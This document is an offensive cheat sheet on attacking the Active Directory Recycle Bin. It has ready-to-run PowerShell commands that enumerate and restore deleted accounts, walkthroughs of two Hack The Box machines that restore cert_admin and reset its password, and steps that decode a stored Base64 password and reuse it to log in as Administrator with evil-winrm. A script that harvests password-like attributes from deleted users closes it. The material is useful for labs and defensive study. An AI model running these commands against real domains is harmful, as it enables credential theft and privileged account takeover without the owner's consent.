AD Recycle Bin Attacks

# Check if the AD Recycle Bin optional feature is active
Get-ADOptionalFeature 'Recycle Bin Feature'
# Look for: EnabledScopes populated, Name = "Recycle Bin Feature"

# Alternative LDAP query
# CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,
# CN=Services,CN=Configuration,DC=<domain>,DC=<tld>

# List all deleted objects (excluding the Deleted Objects container itself)
Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' \
  -IncludeDeletedObjects

# List only deleted user accounts
Get-ADObject -LDAPFilter "(&(objectclass=user)(isDeleted=TRUE))" \
  -IncludeDeletedObjects

# Include useful properties: objectSid and lastKnownParent
Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' \
  -IncludeDeletedObjects -Properties objectSid, lastKnownParent

# Filter for specific display name
Get-ADObject -LDAPFilter "(&(objectclass=user)(DisplayName=TempAdmin)(isDeleted=TRUE))" \
  -IncludeDeletedObjects -Properties *

# The lastKnownParent attribute shows which OU the object was deleted from
# This is critical for determining if you have recovery rights

# Dump all properties of a specific deleted object
# Important attributes to examine:
# - userPrincipalName (UPN)
# - sAMAccountName (username)
# - description, info, comment (may contain passwords)
# - memberOf (group memberships — reveals privilege paths)
# - servicePrincipalName (SPNs)
# - lastKnownParent (OU origin for recovery)
# - custom application attributes (e.g., cascadeLegacyPwd, userPassword)
# - objectSid (the SID, including RID)
# - whenChanged, whenCreated (timestamps)

Get-ADObject -Identity "<objectGUID>" -IncludeDeletedObjects -Properties *

# Restore a deleted object by its ObjectGUID
# Requires permissions on the lastKnownParent OU
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

# Verify the object is restored
Get-ADUser -Identity <samAccountName>

# From TombWatcher HTB:
# 1. Enumerate deleted objects
Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' \
  -IncludeDeletedObjects -Properties objectSid, lastKnownParent
# Found cert_admin (deleted from OU=ADCS)

# 2. Restore the specific instance with RID 1111
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
# Success: cert_admin restored to OU=ADCS

# 3. Reset the password on the restored account (requires OU-level permissions)
Set-ADAccountPassword cert_admin -NewPassword `
  (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)

# From Cascade HTB:
# 1. Enumerate deleted users
Get-ADObject -LDAPFilter "(&(objectclass=user)(isDeleted=TRUE))" -IncludeDeletedObjects

# 2. Find TempAdmin with specific DisplayName
Get-ADObject -LDAPFilter "(&(objectclass=user)(DisplayName=TempAdmin)(isDeleted=TRUE))" \
  -IncludeDeletedObjects -Properties *
# Found: cascadeLegacyPwd attribute with Base64-encoded password

# 3. Decode the password (Base64)
echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
# Output: baCT3r1aN00dles

# 4. Try the password on Administrator (password reuse)
evil-winrm -i <DC> -u Administrator -p 'baCT3r1aN00dles'
# Success: TempAdmin had same password as Administrator

# If you have GenericAll on the OU where the object was deleted,
# you can restore it and then reset its password
# (as demonstrated in TombWatcher with John -> ADCS OU -> cert_admin)

# BloodHound path:
# 1. User has GenericAll on specific OU
# 2. OU is the lastKnownParent of a deleted privileged account
# 3. Restore-ADObject + Set-ADAccountPassword for immediate access

# Script to find all deleted users with interesting attributes
$deletedUsers = Get-ADObject -LDAPFilter "(&(objectclass=user)(isDeleted=TRUE))" \
  -IncludeDeletedObjects -Properties *

foreach ($user in $deletedUsers) {
    Write-Host "User: $($user.Name)"
    Write-Host "  SID: $($user.objectSid)"
    Write-Host "  LastKnownParent: $($user.lastKnownParent)"
    Write-Host "  sAMAccountName: $($user.sAMAccountName)"
    # Look for password-like attributes
    $props = $user | Select-Object description, info, comment, userPassword, *password*, *legacy*, *pwd*
    foreach ($prop in $props.PSObject.Properties) {
        if ($prop.Value) {
            Write-Host "  $($prop.Name): $($prop.Value)" -ForegroundColor Yellow
        }
    }
    Write-Host ""
}